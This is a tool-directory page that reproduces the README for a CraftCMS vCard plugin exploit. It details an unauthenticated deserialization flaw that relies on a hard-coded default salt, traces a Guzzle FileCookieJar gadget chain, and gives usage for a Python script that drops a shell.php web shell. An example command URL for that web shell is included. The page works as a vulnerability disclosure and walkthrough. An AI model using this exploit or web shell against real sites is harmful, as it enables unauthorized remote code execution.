Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
craftcms-vcard-exploit — This repository has details on a vulnerability found with the "vCard" plugin for CraftCMS 3. | Kitploit
Tools/GitLabGitLab/wguest/craftcms-vcard-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitLabwguest/craftcms-vcard-exploit

craftcms-vcard-exploit

This repository has details on a vulnerability found with the "vCard" plugin for CraftCMS 3.

View Repository
1106 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Craft CMS vCard Plugin Deserialization Vulnerability

Craft CMS has a plugin for downloading contacts in a *.vcf file format titled "vCard". The plugin can be reviewed in Craft's repository and Github: Craft Plugin Store Github

Description

This plugin takes a parameter sent by the client, decrypts the value with openssl_decrypt, and then puts the resulting string into PHP's unserialize function. Since the default salt for the encryption is available in the repository, an attacker can use the same logic to encrypt a malicious serialized payload.

If the user has a modified "salt" value configured in the plugin settings, then this will have to be provided as a parameter to the Python script. However, this value will remain unchanged if downloaded from the plugin store or just cloning the repository. There is no option to change it via the Craft web GUI.

Script Usage

Run the script providing the vCard link which triggers the contact download. Remove the vcard parameter value.

Example: Sample vcard download link: http://craftcms/index.php?p=actions/vcard/default/index&vcard=GxHwdD1xmDkQoWbn_nPsgVR-2VOQt6w_oDmLl9h4jAglePdkMM1NMBKHTmq9Uuu7XFM9qvNs3Mi_B0-bT2JbfsflmMDzL29w2QaP28vRBHmyDLTMcacJwuBXEDUqF-sxovuY7oN-YFZXA4jOwC0CyxjLKIjz3UWBf-1ItLRkqKSSAHBuHOMeB5drdTqw67ZCmnlLVI7FYVUNBS9q3WrMRWMhexjHbO2VymDdV3q0GOlZmES9Imgdwq9ibI6okG_QFqHHq33a8U_m4NPvjTqsdm6Wm3OjcPSVV9L2RR8ZnhN9CayfaShb5jligs5b0So2Vddo8EmCZUgKP7-BIT4dlWRGwD_F0w2PyjUZRsRx25ydy6ZklXXHMb4fkrxuKXaHGfB8Y9SUbcQYAUK2OZhZno0FKWzUABDEjjvquevUSTgJr7wNq2oU4YpBwWoQCNGX7ILAuWN8_7GFIajhosdoOilLiLTmoJPWHfdpNKRaZlYcLX9zF7fUXw_BsHJZOySZhbSL0Q7ktzs__DygIL5uuongteXKIafhUFZxPEcC1W9OHy767Lgg77hJwp7lqF1krtHbbQ1o-4hV12dPkouauQ

The parameter to the script would then be: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="

$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a

There is an optional salt value which can be provided. Full options displayed here:

usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin

optional arguments:
-h, --help  show this help message and exit
-u URL      The URL for the vCard download without the vCard value Example:
          http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT     Security key required for encrypting payload. Defaul is
          's34s4L7'
-f FNAME    File path/name to use as value in upload path: ./<value> . Use a
          PHP extension. Default value is 'shell.php'

Requirements

  • Python3

The python script was tested on Python 3.6

  • PHP CLI

The script will run a PHP command on the attacker's host to encrypt the payload. As a result, php-cli will need to be installed. This attack was tested with PHP 7.2-cli and PHP 7.3-cli

Vulnerability Walkthrough

Here is a snapshot of where the code unserializes insecurely (VCardService.php:297) Github:

  public function decodeUrlParam($optionsString = "")
  {
    $optionsString = $this->decrypt($optionsString);
    $options = unserialize($optionsString);
    return $options;
  }

The $optionsString parameter is the value of the "vcard" url paramter provided by the client. It is passed through the decrypt function and then deserialized. If the client can mimic the encryption, then this code becomes vulnerable as it directly deserializes user-provided data.

Here is the encryption function in question (VCardService.php:306) Github:

  protected function encrypt($string)
  {
    $key = VCard::$plugin->getSettings()->salt;
    $key = md5( $key );
    $iv = substr( md5( $key ), 0, 16);

    return rtrim(
      strtr(
        base64_encode(
          openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
        ),
        '+/', '-_'
      ), '='
    );
  }

The only value which an attacker needs to know is the $key variable set by "VCard::$plugin->getSettings()->salt". The default value can be viewed in the repository as "s34s4L7" (config.php:26) Github

Assuming the default salt is used, an attacker can force the deserialization of any class in the Craft installation.

We need to find a "gadget" class in Craft's default installation which we can use for malicious purposes. Reviewing which classes have __destruct or __wakeup magic functions provides a small enough list to review. This can be done using "grep -rni < path to web root > -e '__destruct'"

guzzlehttp has a class titled "FileCookieJar" which looks like it saves a file using a class attribute as the filename:

./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38:    public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39-    {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40-        $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41-    }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-

Investigating the save function shows that it will write out data to a system file path, the path and data both being class attributes and under the attacker's control. It makes sense that when this class object is destroyed that it would write whatever cookies it had to the file name attribute to be recovered or used later. Here are the contents of the save function with file_put_contents being our target (FileCookieJar.php:52) Github:

public function save($filename)
{
    $json = [];
    foreach ($this as $cookie) {
        /** @var SetCookie $cookie */
        if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
            $json[] = $cookie->toArray();
        }
    }

    $jsonStr = \GuzzleHttp\json_encode($json);
 
    if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
        throw new \RuntimeException("Unable to save file {$filename}");
    }
}

Fortunately, we do not have to do manual leg work to construct the malicious payload ourselves. The marvelous tool PHPGGC automates serializing a Guzzle class with a payload for us to use in this exploit.

I used the tool to create this as a base payload for the exploit script though it will be modified slightly depending on the filename. Also, it is important to note that if generating a new payload with PHPGGC, then the "-f" parameter must be used or the magic __destruct function will not run:

Download Tool